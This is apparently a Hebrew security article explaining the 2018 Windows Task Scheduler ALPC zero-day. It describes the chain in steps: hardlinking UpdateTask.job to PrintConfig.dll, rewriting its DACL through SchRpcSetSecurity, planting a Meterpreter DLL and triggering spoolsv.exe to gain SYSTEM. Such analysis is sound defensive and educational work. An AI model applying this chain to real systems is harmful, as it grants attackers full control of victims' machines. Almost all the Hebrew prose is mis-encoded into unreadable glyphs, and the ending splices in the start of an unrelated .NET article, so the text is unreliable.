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Local Privilege Escalation Using Task Scheduler 

Service 

 ˸˞ˬ˧ˣ˪ ˫ˢ˶˟˞ ˟˧˟˞ 

 

˞ˣ˟ˬ 

 ˨˧˶˞˸˟-s27/08/2018 ˸˶˵ˣ˥ˢ ,ά{ŀƴŘōƻȄ9ǎŎŀǇŜǊέ  ˞˧ˢ ˧˩ ˢ˪˷ ˶˦˧ˣˣ˦ˢ ˭ˣ˟˷˥˟ ˢˬ˯˶˲

 ˠˣ˯ˬ ˢ˥˦˟˞ ˸˷˪ˣ˥ ˢ˞˴ˬZero-Day " ˭ˣˮˠˮˬ˟Advanced Local Procedure Call ˶˷˲˞ˬˢ "

˸ˣ˩ˣˬˮ ˸ˣ˞˷˶ˢ ˪˰˟ ˱˵ˣ˸˪ ) ˸˩˶˰ˬ ˸ˣ˞˷˶ˢ ˠ˧˷ˢ˪ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟SYSTEM.( 

ˢ˲˵˸ˬˢ ˪˰ ˦˶˲˞ ˢˤ ˶ˬ˞ˬ˟, ˬˠˣˡ˪ ˷ˣˬ˧ˬ ˸ˠ˴ˢ ˨ˣ˸ s.ˢˬˡ ˸˩˶˰ˬ ˪˰ 

 
ˣ˧˴ˢ] ˳˧˶ˣ˵ˬˢ [˸˶˵ˣ˥ˢ ˪˷ 

ˡˣ˯˧ ˧ˠ˷ˣˬ 

 ˶˷˞ ˫˧ˠ˷ˣˬ ˪˷ ˫˧˶ˣ˞˧˟ˣ ˢˬ˧˷˶ ˭˪ˢ˪ˢˤ ˶ˬ˞ˬ˟ ˷ˣˬ˧˷ ˫ˢ˟ ˢ˷˰ˮ:  

Privilege Escalation - "" ˥ˮˣˬˢ ˷ˣ˶˧˲Privilege Escalation"  "˸ˣ˧ˠ˧˪˧˟˧˶˲ ˸ˬ˪˯ˢ" ˞ˣˢ-  ˭ˣ˷˪ˬ ˢˬ˪˯ˢ

 .˫˪ˣ˯˟ ˢˠ˶ˡ ˸˧˪˰ "˫˪ˣ˯"Escalation Privilege  ˫ˢ˟ ˸ˣ˞˷˶ˢˢ ˪ˣˢ˧ˮ ˸˩˶˰ˬ˟ ˫˧˪˷˩ ˪˰ ˶˵˧˰˟ ˶˟ˡˬ

 ˫˧˪˷˩ ˸ˣ˧ˢ˪ ˫˧˪ˣ˩˧ ˢ˪˞ ˫˧˪˷˩ .ˣ˪˷ ˸ˣ˞˷˶ˢˢˬ ˸ˣˢˣ˟ˠˢ ˸ˣ˞˷˶ˢ˟ ˸ˣ˪ˣ˰˲ ˰˴˟˪ ˥˧˪˴ˬ ˷ˬ˸˷ˬˢ

 ˢ˟˷ ˫˧˟˧˩˶ˢ ˣ˞ ˸˩˶˰ˬˢ ˸˟˧˸˩ ˭˲ˣ˞ˬ ˫˧˰˟ˣˮ ˶˷˞-  ˸ˣ˰˧ˠ˲ ˸ˣ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷ ,˸˥˦˟ˣ˞ˬ ˞˪ ˢ˟˧˸˩

 ˟˶˟ ˨˞ ,˸ˣ˶˥˞ˣ ˢ˪˞˩ ˸ˣ˲˵˸ˢ˪ ˸ˣ˲ˣ˷˥ ˣ˞ ˸˩˶˰ˬ ˧˟˧˩˶ ˣˬ˩ ,˫˧˧ˠˣ˪ ˫˧˪˷˩ ˪˰ ˶˟ˣˡˬ ˫˧˶˵ˬˢ

˫ˢ˪˷ˬ ˸ˣ˩ˣˬˮ ˸ˣ˞˷˶ˢ ˫˰ ˫˧˷ˬ˸˷ˬ˪ ˫˧˷˧ˠˮˣ ˸ˣˬ˧˧ˣ˯ˬ ˸ˣ˞˷˶ˢ ˫˰ ˫˧˴˶˷." 

 ˶˲˯ˬ ˭ˣ˧˪˧ˠˬ ˥˵˪ˮ]1  ˶˟ˣ˦˵ˣ˞2009 [˪˞˧˦˯˵ ˵˧˲˞ ˸˞ˬ 

Local Procedure Call (LPC) - LPC ˪˰ ˵˲ˣ˯ˬˢ ˫˧˩˧˪ˢ˸ ˭˧˟ ˸˶ˣ˷˵˸ ˭ˣˮˠˮˬ ˞ˣˢ- ˧ˡ˧Microsoft 

Windows NT Kernel .˫˧˩˧˪ˢ˸ ˭˧˟ ˫˧ˮˣ˸ˮ ˪˷ ˸˥˦˟ˣ˞ˬ ˢ˶˟˰ˢ ˶˷˲˞ˬˢ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ ˟-LPC 
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˫˧˩˧˪ˢ˸ ˧ˮ˷ ˭˧˟ ˸˶ˣ˷˵˸˪ ˟-User-Mode˨˧˪ˢ˸ ˭˧˟ , ˟-User-Mode  ˭˧˟˪Kernel-Mode  ˧ˮ˷ ˭˧˟ ˣ˞

Drivers ˟-Kernel-Mode. 

 

Advanced Local Procedure Call (ALPC) - ˟ˢ˪˰˲ˢˢ ˸˩˶˰ˬ Vista, Microsoft  ˸˞ ˷ˡ˥ˬ ˢ˟˴˧˰LPC 

˪ ˣˬ˷ ˸˞ ˢ˸ˮ˧˷ˣ-ALPC  ˞ˣˢ˷ˢ˷˰ˬ˪  ˪˷ "˶˸ˣ˧ ˢ˷ˡ˥" ˢ˯˶ˠLPC .˫˧ˬ˧˧˵  ˸˩˶˰ˬ ˪˷ ˫˧˩˧˪ˢ˸ ˢˬ˩

 ˧˵˷ˬˬ ˫˧˵˲˯ˬ ˶˷˞ ˢ˪˰˲ˢˢALPC ˫˧˧˶ˣ˟˧˴. ˞ˬˠˣˡ˸ˣ  ˷ˣˬ˧˷˪-˟ ALPC: 

¶ Winlogon ˷ˬ˸˷ˬ ˟-ALPC  ˨˧˪ˢ˸ ˫˰ ˶˷˵˸˪ ˧ˡ˩LSASS. 

¶  ˪˷ ˸ˣ˞˧ˠ˷ ˥ˣˣ˧ˡWindows ˷ˬ˸˷ˬ ˟-ALPC .˫˧˯˶ˣ˵˷ ˫˧˩˧˪ˢ˸ˬ ˶˷˵ˢ ˪˰ ˰ˡ˧ˬ ˪˟˵˪ ˸ˮˬ ˪˰ 

 

Security Descriptor - Security Descriptor  ˰˟ˣ˵ˣ ˦˵˧˧˟ˣ˞˪ ˸˩˧ˣ˷ˬˢ ˢ˥˦˟˞ˢ ˸˰˧˟˵˪ ˯˧˯˟ˢ ˞ˣˢ

˷ˬ˸˷ˬ ˢˤ˧˞  ˸ˣ˪ˣ˰˲ ˰˴˟˪ ˪ˣ˩˧ ˸ˣˬ˧˧ˣ˯ˬ˦˵˧˧˟ˣ˞ˢ ˪˰˟ ˧ˬ ,˦˵˧˧˟ˣ˞ˢ ˪˰. ˢˤ ˰ˡ˧ˬ ˶ˣ˟˰ ˫˧ˮˣ˸ˮˢ ˢˮ˟ˬ

 ˞˶˵ˮSecurity Descriptor :˫˧˧˶˵˧˰˟ ˤ˩˶˸ˮ ,˫˧˦ˮˬ˪˞ ˶˲˯ˬˬ ˟˩˶ˣˬ ˞ˣˢˣ 

¶ Owner SID 

¶ Group SID 

¶ Discretionary Access Control List (DACL) 

¶ System Access Control List (SACL)  
 

 ,˱˯ˣˮ˟Security Descriptor ) ˢ˷˧ˠ ˸˶˵˟ ˸ˣˬ˧˷˶ ˧˸˷ ˪˧˩ˬACL ,˟˞˷ˬ ˪˩ ˶ˣ˟˰ (DACL x-SACL. 

Security Identifier (SID) - SID  ˸˴ˣ˟˵ ˣ˞ ˷ˬ˸˷ˬ ˪˷ ˢˮ˸˷ˬ ˧˸˪˟ˣ ˧ˡˣ˥˧˧ ˢ˥˦˟˞ ˢˢˤˬ ˞ˣˢ

.˫˧˷ˬ˸˷ˬ 

 
] ˪˷ ˢˬ˶ˠ˞˧ˡSecurity Descriptor ˫˧˧˶˵˧˰ ˫˧˦ˮˬ˪˞ ˢ˰˟˶˞ ˪˧˩ˬˢ[ 
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)SDDL (Security Descriptor Definition Language String - SDDL String  ˢ˟ ˸ˤˣ˶˥ˬ ˸˧ˮ˟˸ ˞ˣˢ

 ˶˞˸˪ ˸ˮˬ ˪˰ ˫˧˷ˬ˸˷ˬSecurity Descriptor ˬˠˣˡ˪ ˦˵˧˧˟ˣ˞ ˶ˣ˟˰:s 

O:owner_sid  

G:group_sid  

D:dacl_flags(string_ace1)(string_ace2)  

S:sacl_flags(string_ace1)(string_ace2)  

ˬˠˣˡ s ˸ˤˣ˶˥ˬ ˶ˣ˟˰SDDL :˳˟ˣ˵ ˪˷ 

O:S- 1- 5- 21- 2093731422- 2129986928- 4024234085- 1001 

G:S- 1- 5- 21- 2093731422- 2129986928- 4024234085- 513 

D:AI(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S - 1- 5- 21- 2093731422- 2129986928-

4024234085- 1001)  

S: AI(AU;OICINPFA;RPDTSDWD;;;BU)(AU;OICINPSA;CCSWRPDTLOSD;;;BU) 

System Access Control List (SACL) - SACL ˫˧ˣ˯ˬ ˦˵˧˧˟ˣ˞ ˪˞ ˢ˷˧ˠ ˶˵ˣ˟˸ ˡ˴˧˩ ˶˧ˡˠˬ , ˡ˰˸˪ ˶˷˲˞ˬ

ˢ ˶˧ˡˠˢ˷ ˧˲˩ ˫˧ˣ˯ˬ ˦˵˧˧˟ˣ˞˪ ˣ˷ˠ˧ˮ ˶˷˞ ˸ˣ˴ˣ˟˵ˣ ˫˧˷ˬ˸˷ˬ ˪˷ ˸˪˷ˣ˩ ˣ˞ ˸˥˪˴ˣˬ ˢ˷˧ˠ-Owner SID. 

˞ˣˢ ,˱˯ˣˮ˟  ˸ˣˬˣ˷˶ ˪˧˩ˬACE ˰˟ˣ˵ˢ˸ˣ s ˸˷ˠ˪ ˢ˴ˣ˟˵ ˣ˞ ˷ˬ˸˷ˬ ˪˷ ˪˷ˣ˩ ˣ˞ ˥˪˴ˣˬ ˭ˣ˧˯˧ˮ ˡ˰˸˪ ˫˞

.˦˵˧˧˟ˣ˞˪ 

 

Discretionary Access Control List (DACL) - DACL  ˸˰˟˵ˮ ˢ˞˷˶ˢˢ ˣ˧˲˪ ˧˶˵˧˰ˢ ˧˰˴ˬ˞ˢ ˸˞ ˢˣˣˢˬ

.˦˵˧˧˟ˣ˞˪ ˢ˷˧ˠ ˷˧ ˧ˬ˪ ˸ˮ˧˧˴ˬˣ 

¶ ACL > ˪˷ ˢˬ˧˷˶ ˞ˣˢaccount, access-rights<. 

¶ > ˪˷ ˱˴˶ ˪˩account, access-rights< ˟-ACL  ˞˶˵ˮAccess Control Entries (ACE). 

 ˭˧˟ ˪ˡ˟ˢDACL ˪-SACL s˷ ˞ˣ-DACL  ˭˧˧˴ˬˢ˷˧ˠ ˷˧ ˧ˬ˪ ˳˟ˣ˵˪ x-SACL  ˡ˴˧˩ ˭˧˧˴ˬ˶˵ˣ˟˸  ˪˞ ˢ˷˧ˠ

.˦˵˧˧˟ˣ˞ 

 

Access Control Entries (ACE) - ACE  ˞ˣˢˢ˷˰ˬ˪ ) ˢ˷˧ˠ ˸˶˵˟ ˸ˬ˧˷˶˟ ˢˬˣ˷˶ACL.( ACE  ˪˧˩ˬ

 ˪˷ ˢ˴ˣ˟˵Access Rights x-Security Identifier )SID.( s-ACE ˢ ˸˞ ˪˧˩ˬ-SID  ˯˥˧˧˸ˬ ˣ˧˪˞˷ ˭ˣ˟˷˥ˢ ˪˷

-sACEˢ ,-SID .ˢ˴ˣ˟˵ ˣ˞ ˷ˬ˸˷ˬ ˶ˣ˟˰ ˸ˣ˧ˢ˪ ˪ˣ˩˧  ˸ˣˬˣ˷˶ ˪˷ ˫˧ˮˣ˷ ˫˧ˠˣ˯ ˫ˮ˷˧ACE  ˢ˷˧ˠ ˫˧ˠ˴˧˧ˬˢ

.(˳˟ˣ˵ ˭ˣˠ˩) ˡ˧˥˧ ˦˵˧˧˟ˣ˞˪ 

 

ACE Strings - SDDL ˷ˬ˸˷ˬ ˟-ACE Strings  ˸˶ˡˠˢ˟DACL x-SACL ˟-Security Descriptor.  ˪˩ACE ˟-

SDDL  ˫˧ˡ˶˲ˣˬˣ ˞˟ˢ ˶ˡ˯˟ ˫˧˞˴ˬˮ ˣ˪˷ ˸ˣˡ˷ˢ ,˫˧˧˶ˠˣ˯˟ ˱˵ˣˬ(;) ˵˧˯˲ ˢˡˣ˵ˮ ˸ˣ˰˴ˬ˞˟ 

o ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid 

ACE STRING ˬˠˣˡ˪:s 

o D:(A;OICIIO;SDGXGWGR;;;AU) 

ace_type:  ACCESS_ALLOWED_ACE_TYPE 

ace_flags:  OBJECT_INHERIT_ACE 

CONTAINER_INHERIT_ACE 

INHERIT_ONLY_ACE 
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rights:  DELETE 

  GENERIC_EXECUTE 

  GENERIC_WRITE 

  GENERIC_READ 

account_sid:  SDDL_AUTHENTICATED_USERS 

 

HardLink,SoftLink ˟ ˫˧˪ˡ˟ˢˢ ˢˬˣ˧?˫ˢ˧ˮ 

¶ HardLink  ,˥˧˷˵ˢ ˭ˮˣ˩˟ ˫˧ˣ˯ˬ ˟˥˶ˬ˪ ˢ˧ˮ˲ˢ ˶ˣ˴˧˪ ˶˷˲˞ˬ˶˟ˡ s ˶˷˲˞ˬ˸˶˧˴˧  ˫˧˟ˣ˶ˬ ˫˧˴˟˵

˥˧˷˵ˢ ˭ˮˣ˩˟ ˫ˣ˵ˬ ˣ˸ˣ˞˪ ˫˧˶˷ˣ˵ˬˢ. ˢˡ˧ˬ˟ x ˷ˬ˸˷ˬˡ˥˞ ˧ˮˣ˸ˮ ˸˞ ˢˮ˷˧ s ˫˧˴˟˵ˢ ,˫˧˴˟˵

 ˫˧˶˥˞ˢ˫˞˸ˢ˟ ˣˮ˸˷˧ . ˰˴˟˪ ˧ˡ˩˟HardLink .ˡ˰˧ˢ ˳˟ˣ˵ ˶ˣ˟˰ ˢ˞˧˶˵ ˸˷˧ˠ ˨˧˶˴ 

¶ SoftLink -  ˫ˣ˵ˬ ˣ˸ˣ˞˪ ˞˪ˣ ˧˶ˣ˵ˬˢ ˳˟ˣ˵ˢ ˪˷ ˫ˣ˵˧ˬˢ ˶ˣ˟˰ ˶ˣ˷˧˵ ˪˧˩ˬ ˶˷˞ ˳˟ˣ˵ ˶ˣ˴˧˪ ˶˷˲˞ˬ

.˥˧˷˵ˢ ˭ˮˣ˩˟ 

 

˫˧˪ˡ˟ˢˢ ˸˞ ˢ˶˧˟˯ˬˢ ˢˬ˶ˠ˞˧ˡ]  ˭˧˟hardlink  ˭˧˟˪softlink[ 
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ˢ˷˪ˣ˥ˢ ˪˰ ˶˟˯ˢ 

Task Scheduler 1.0 -  ˸ˣˮˣ˪˥ˬ ˨ˬ˸ˮWindows 2000 " ˸ˬˣ˧˯ˢˣ ˧˶˞ˮ˧˟ ˳˟ˣ˵˩ ˸ˣˬ˧˷ˬ ˸˞ ˶ˬˣ˷ˣ.job "

:˞˟ˢ ˟˧˸ˮ˟ 

C:\ Windows\ Tasks 

Task Scheduler 2.0 -  ˸ˣˮˣ˪˥ˬ ˨ˬ˸ˮVista  ˢˮ˟ˬ˟ˣ ˳˟ˣ˵˩ ˸ˣˬ˧˷ˬˢ ˸˞ ˶ˬˣ˷ˣXML :˞˟ˢ ˟˧˸ˮ˟ 

C:\ Windows\ system32\ Tasks 

 ˵˷ˬˬITaskSchedulerService  ˪˷ ˸ˣˬ˧˷ˬ ˪˰ ˢ˦˧˪˷ˣ ˪ˣˢ˧ˮ˪ ˸ˣ˦˧˷ ˶˲˯ˬ ˶˷˲˞ˬTasks Scheduler. 

˥˞˸ˢ ˸ˣ˧˴˵ˮˣ˲ˢ ˭ˬ˧" ˞SchRpcSetSecurity˶˧ˡˠˬ ˶˷˞ " sˢ ˸˞-Security Descriptor  ˣ˞ ˢ˧˧˵˧˸ˢ ˪˷

.ˢˬ˧˷ˬˢ " ˢ˧˴˵ˮˣ˲˟ ˫˧˷ˬ˸˷ˬ ˶˷˞˩SchRpcSetSecurity" ˢ ˪˷ ˫˷ˢ ˸˞ ˶˧ˡˠˢ˪ ˨˶ˣ˴ ˷˧ ,ˢˬ˧˷ˬ

˶ˣ˟˰ ˸ˣ˞˷˶ˢˢ ˸˞ˣ)sSDDL(: 

HRESULT SchRpcSetSecurity(  

   [in, string] const wchar_t* path,  

   [in, string] const wchar_t* sddl,  

   [in] DWORD flags  

 );  

" ˢ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷ ˷˧ ˶˷˞˩SchRpcSetSecurity ˸ˣ˶˧˷ˢ "Task Scheduler  ˳˟ˣ˵ ˫˧˧˵ ˫˞ˢ ˵ˡˣ˟".job" 

:ˢ˞˟ˢ ˢ˧˧˵˧˸˟ 

C:\ Windows\ Task 

 ˶ˣ˴˧˪ ˭˸˧ˮ ,ˢ˧˧˵˧˸˟ ˫˧˴˟˵ ˶ˣ˴˧˪ ˪ˣ˩˧ ˫˧˥˶ˣ˞ˢ ˸˴ˣ˟˵˟ ˞˴ˬˮ˷ ˷ˬ˸˷ˬˢ ˧˩ ˶˥˞ˬHardLink  ˳˟ˣ˵˪

 ˶ˣ˴˧˪ ˸ˮˬ ˪˰) ˸˩˶˰ˬ˟ ˶˥˞HardLink ˰˴˟˪ ˢ˴˶ˮ ˣ˧˪˞˷ ˳˟ˣ˵˪ ˢ˞˧˶˵ ˸ˣ˞˷˶ˢ˟ ˨˶ˣ˴ ˷˧ (˶ˣ˷˧˵. 

 
˟ ˷ˣˬ˧˷]-"cacls" ˸˞ ˠ˧˴ˢ˪ ˸ˮˬ ˪˰-Security Descriptors ˸ˢ ˪˷˧[ˢ˧˧˵ 
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 ˰˴˟ˮ ˣ˧˪˞ ˳˟ˣ˵ˢHardLink  ˞ˣˢPrintConfig.dll  ˨˧˪ˢ˸˪ ˭˰˦ˮ ˶˷˞spoolsv.exe  ˸ˣ˯˲ˡˢ ˪˰ ˧˞˶˥˞ˢ

.˟˷˥ˬ˟ ˫˧˯˵˲ˣ  ˢ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷ ˸˰˟ ˧˩ ˭˧˧˴ˮStartXpsPrintJob ˨˧˪ˢ˸ˢ ,spoolsv.exe  ˸˞ ˭˰ˣ˦

 ˢ˧˧˶˲˯ˢPrintConfig.dll. 

 ˢ˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˢ˪ ˪˩ˣˮSchRpcSetSecurity ˢ ˸˞ ˶˧ˡˠˢ˪ ˸ˮˬ ˪˰- DACL ˳˟ˣ˵˪UpdateTask.job  ˶˷˞

 ˪˞ ˶˷ˣ˵ˬPrintConfig.dll ˣ˲˧˪˥ˢ˪ ˭˩ˬ ˶˥˞˪ˣ ˟-DLL .˶˥˞  ˢ˧˴˵ˮˣ˲˟ ˷ˬ˸˷ˮ ˫ˣ˧˯˪ StartXpsPrintJob 

 ˨˧˪ˢ˸ˢ˷ ˸ˮˬ ˪˰spoolsv.exe ˸˞ ˭˰˦˧ s-DLL  ˸˩˶˰ˬ ˸ˣ˞˷˶ˢ˟ ˷ˬ˸˷ˢ˪ ˶˷˲˞˧ˣ ˷ˡ˥ˢSYSTEM. 

 

 ˪˷ ˢˬ˶ˠ˞˧ˡ][ˢ˲˵˸ˬˢ 
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 ˢˬˠˡˢ 

 ˳˟ˣ˵ ˸˶˧˴˧ ˞˧ˢ ˢ˲˵˸ˬˢ ˪˷ ˢˮˣ˷˞˶ˢ ˢ˪ˣ˰˲ˢHardLink  ˪˞ˣ ˢ˧˪˞ ˢ˟˧˸˩ ˸˷˧ˠ ˣˮ˪ ˷˧˷ ˢ˧˧˵˧˸ˬ

ˢ˞˧˶˵ ˸˷˧ˠ ˣ˧˪˞ ˣˮ˪ ˷˧ ˶˷˞ ˳˟ˣ˵.  ˳˟ˣ˵ˢ ˸˞ ˱˧˪˥ˢ˪ ˞˧ˢ ˢ˶˦ˬˢ ˢˤ ˢ˶˵ˬ˟PrintConfig.dll  ˶˷˞

 ˸˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷ ˶˥˞˪ ˭˰˦ˮXpsPrintJob  ˨˧˪ˢ˸˟spoolsv.exe ˤ˞ .ˢ˷˰ˬ˪  ˳˟ˣ˵ ˭˧˟ ˶ˣ˷˧˵ ˰˴˟ˮ

ˣˬ˷˷UpdateTask.job  s ˢ˧˧˵˧˸˟ ˞˴ˬˮC:\WINDOWS\TASKS  ˳˟ˣ˵ˢ ˪˞PrintConfig.dll: 

CreateNativeHardlink(Source, Destination) ; 

 

 

[ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˷ˣˬ˧˷] 

˷˸˸˞ ˣ˶˧ˡˠ˧ ˸ˣ˧˴˵ˮˣ˲ˢ ˧ s-DACL  ˳˟ˣ˵ˢ ˪˷UpdateTask  ˞ˣˢ˷-sPrintConfig.dll ˸ˣ˞˷˶ˢ ˣˮ˸˧ˣ ,

˸ˣ˟˶ ˬˠˣˡ˪ ,"˫˧˸ˬˣ˞ˬ ˫˧˷ˬ˸˷ˬ" ˸˴ˣ˟˵˟ ˫˧˞˴ˬˮˢ ˫˧˷ˬ˸˷ˬ˪ (ˢ˴˶ˢ/ˢ˟˧˸˩/ˢ˞˧˶˵):s 

ACE Strings:  

Template: ace_type ; ace_flags ; rights ; object_guid ; inherit_object_guid ; account_sid  

Example: D:( A;OICIIO;SDGXGWGR;;;AU)  

 

ace_type:  ACCESS_ALLOWED_ACE_TYPE 

ace_flags:  OBJECT_INHERIT_ACE 

  CONTAINER_INHERIT_ACE 

  INHERIT_ONLY_ACE 

rights:   DELETE 

  GENERIC_EXECUTE 

  GENERIC_WRITE 

  GENERIC_READ 

account_sid:  SDDL_AUTHENTICATED_USERS 

 

 ˸˶ˡˠˢ]SDDL [˳˟ˣ˵ˢ ˶ˣ˟˰ˣ ˢ˧˧˵˧˸ ˶ˣ˟˰ 
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]Security Descriptors ˢ ˪˷-DLL  ˧ˣˮ˧˷ ˧ˮ˲˪DACL[ 

 

]Security Descriptors ˢ ˪˷-DLL  ˧ˣˮ˧˷ ˶˥˞˪DACL[ 

 ˳˟ˣ˵ˢ ˪˷ ˸ˣ˞˷˶ˢˢ ˸˞ ˸ˣˮ˷˪ ˣˮ˥˪˴ˢ˷ ˶˥˞˪PrintConfig.dll ˸ˣ˞˷˶ˢ ˪˟˧˵ ˸ˬˣ˞ˬ ˷ˬ˸˷ˬ ˪˩ ˧˩ˣ ,

˸˞ ˱˧˪˥ˢ˪ ˪˩ˣˮ ,ˢ˟˧˸˩ s-PrintConfig.dll ˸˞ ˭˰˦˧ ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ ˪˰˟ ˨˧˪ˢ˸˷ ˰ˠ˶˟ .˶˥˞ ˳˟ˣ˵˟ 

-sPrintConfig.dll, .˨˧˪ˢ˸ ˣ˸ˣ˞ ˪˷ ˸ˣˢˣ˟ˠˢ ˸ˣ˞˷˶ˢ˟ ˷ˬ˸˷ˢ˪ ˪˩ˣˮ  ˞ˣˢ ˨˧˪ˢ˸ˢ ˢˤ ˢ˶˵ˬ˟

spoolsv.exe  ˸˩˶˰ˬ ˸ˣ˞˷˶ˢ˟ ˳˶˷SYSTEM. 
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-sPrintConfig.dll ˱˪˥ˣˢ ˟-DLL  ˪˧˩ˬ ˶˷˞Payload  ˪˷Meterpreter ˪˰ ˶˴ˣˮ˷- ˧ˡ˧Metasploit: 

 

]PE Size  ˳˟ˣ˵ˢ ˪˰ ˷ˡ˥ˬ ˢ˟˧˸˩ ˧ˮ˲˪DLL )CFF Explorer[( 

 

]PE Size  ˳˟ˣ˵ˢ ˪˰ ˷ˡ˥ˬ ˢ˟˧˸˩ ˶˥˞˪DLL )CFF Explorer([ 

˪˰ ˫ˣ˧˯˪-˷ˣˬ˧˷ ˧ˡ˧ ˟-XPS Print API  ˢ˧˴˵ˮˣ˲˪ ˞˶˵ˮXpsPrintJob ˸˞ ˭˰˦˸ ˶˷˞ s-DLL  ˣˮ˟˸˩˷ ˷ˡ˥ˢ

˨˧˪ˢ˸˟ ˷ˬ˸˷ˢ˪ ˪˩ˣˮ˷ ˸ˮˬ ˪˰  spoolsv.exe ˸˩˶˰ˬ ˸ˣ˞˷˶ˢ ˪˟˵˪ ˧ˡ˩˟SYSTEM: 

 
] ˷ˣˬ˧˷-˟Payload  ˠˣ˯ˬMeterpreter s ˸˞ ˠ˧˴ˬ) ˣ˪˷ ˸ˣ˞˷˶ˢˢ ˸ˬ˶Metasploit Framework([ 
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] ˪˷ ˨˧˪ˢ˸Meterpreter  ˸ˣ˞˷˶ˢ ˪˰˟System )Process Explorer([ 

 

˫ˣ˩˧˯ 

˸˪ ˸˶˷˲˞ˬ ˣˤ ˢ˥˦˟˞ ˸˧˧˰˟˵ˣ ˫˧˩˶ˡ ˱ ˸ˣ˟˶ˬˠˣˡ˪ ,ˣ˪˷ ˸ˣ˞˷˶ˢˢ ˸ˬ˶ ˸˞ ˸ˣ˪˰ˢ˪ ˪ˣ˩˧ ˞ˣˢ ˭ˢ˟ s,

˫˯˶ˣ˲˷ ˫˧ˬ˧ ˶˲˯ˬ ˶˥˞˪ s-Zero-Day ) ˷ˡ˥ ˭˰ˠˣ˲ ˢ˪ˠ˸ˢPowerPool(  ˢ˦˧˷ ˢ˸ˣ˞˟ ˷ˬ˸˷ˬ ˶˷˞

˳˟ˣ˵˪ ˸ˣ˞˷˶ˢ ˸˶ˡˠˢ ˪˷,  ˞ˣˢ ˱˪˥ˣˢ˷ ˳˟ˣ˵ˢ ˨˞GoogleUpdate.exe s˟ ˪˰ˣ˲˰ ˟˷˥ˬˢ ˪ˣ˥˸˞ ˸

.˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ˟ 

˪˰ ˸ˣ˪ˠ˸ˬ ˶˷˞ ˸ˣ˷ˡ˥ ˸ˣ˲˵˸ˬ ˡˣ˰ˣ ˡˣ˰ ˸ˣ˞˶˪ ˭˧˧ˮ˰ˬ-˫˧˶˵ˣ˥ ˧ˡ˧ ˫˧˟˶.  ˢ˞˶ˮˢ ˪˩˩Microsoft  ˰˴˟˸

 ˨˧˶˞˸˟ ˢ˥˦˟˞ ˭ˣ˩ˡ˰-s11 ˟˶˟ˬ˦˲˯ .ˢˮ˷ˢ 

 

 ˪˰˶˟˥ˬˢ 

 ˧˷˲ˣ˥ˢ ˣˮˬˤ˟ ,˶'˴ˮ˯˵˞ ,˭˪ˠˬ ˸˶˟˥˟ ˟˷˥ˬ ˸ˣ˶˧˵˥ˣ ˸ˣ˶˧ˡ˥ ˵ˡˣ˟ ,˧ˣ˪ ˫ˢ˶˟˞ ˟˧˟˞˧˶ˠ˸˞ ˰˴˟ˬ-CTF 

˵˯ˣ˰ˣ ˟-Reverse Engineering Malware. .˶ˬ˞ˬˢ ˸˟˧˸˩ˣ ˭ˣˮ˩˸˟ ˢ˶ˤ˰ˢ ˪˰ ˧ˮ˧˯ ˪˟ˣ˧˪ ˢ˪ˣˡˠ ˢˡˣ˸ 

˰ˡ˧ˬ ˸ˣ˶ˣ˵ˬ 

¶ https://msdn.microsoft.com/en-us/library/cc246052.aspx 

¶ https://www.safaribooksonline.com/library/view/windows-internals-fifth/9780735625303/ch03s06.html 

¶ https://www.kb.cert.org/vuls/id/906424 

¶ https://docs.microsoft.com/en-us/windows/desktop/secauthz/sid-strings 

¶ https://blogs.technet.microsoft.com/askds/2008/04/18/the-security-descriptor-definition-language-of-love-

part-1/ 

¶ https://docs.microsoft.com/en-us/windows/desktop/secauthz/security-descriptor-definition-language 

¶ http://clintboessen.blogspot.com/2011/04/whats-difference-between-acl-ace-dacl.html 

¶ https://msdn.microsoft.com/en-us/library/jj663148.aspx 

¶ https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-

malware/ 

https://msdn.microsoft.com/en-us/library/cc246052.aspx
https://www.safaribooksonline.com/library/view/windows-internals-fifth/9780735625303/ch03s06.html
https://www.kb.cert.org/vuls/id/906424
https://docs.microsoft.com/en-us/windows/desktop/secauthz/sid-strings
https://blogs.technet.microsoft.com/askds/2008/04/18/the-security-descriptor-definition-language-of-love-part-1/
https://blogs.technet.microsoft.com/askds/2008/04/18/the-security-descriptor-definition-language-of-love-part-1/
https://docs.microsoft.com/en-us/windows/desktop/secauthz/security-descriptor-definition-language
http://clintboessen.blogspot.com/2011/04/whats-difference-between-acl-ace-dacl.html
https://msdn.microsoft.com/en-us/library/jj663148.aspx
https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-malware/
https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-malware/
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 ˸˵ˤˣˮ ˪˷ ˢ˧ˬˣ˦ˮ˞NET .- '˞ ˵˪˥ 

 ˸˞ˬ˶˲˶˯ ˸˧ˬ˰ 

 

˞ˣ˟ˬ 

 ˸˶˟˥˷ ˫˰˲ ˪˩˟ˣ .˶˸ˣ˧˟ ˸˟˩˶ˣˬˢ ˸˰˪ˣ˸ˢ ˸˞ ˵ˬˣ˰˪ ˶ˣ˵˥˪ ˫˧˴ˣ˶ ˣˮ˧˧ˢ ,˫˧˧˰ˣ˴˵ˬ ˸ˣ˵ˤˣˮ ˧˶˵ˣ˥ ˶ˣ˸˟

˸˵ˤˣˮ ˪˰ ˶˵˥ˬ ˥"ˣˡ ˸ˬ˯˶˲ˬ ˸˶˥˞ ˣ˞ ˣˤ˩ ˢ˥˦˟˞-˸ˬ˴˰ˬ ˧"˰ ˸ˮˬˣˬˬˢ ˣˤ˩ ,˪˰- ,˶˟˧˧˯ ˫˧˴˶ ˣˮ˪ˣ˩

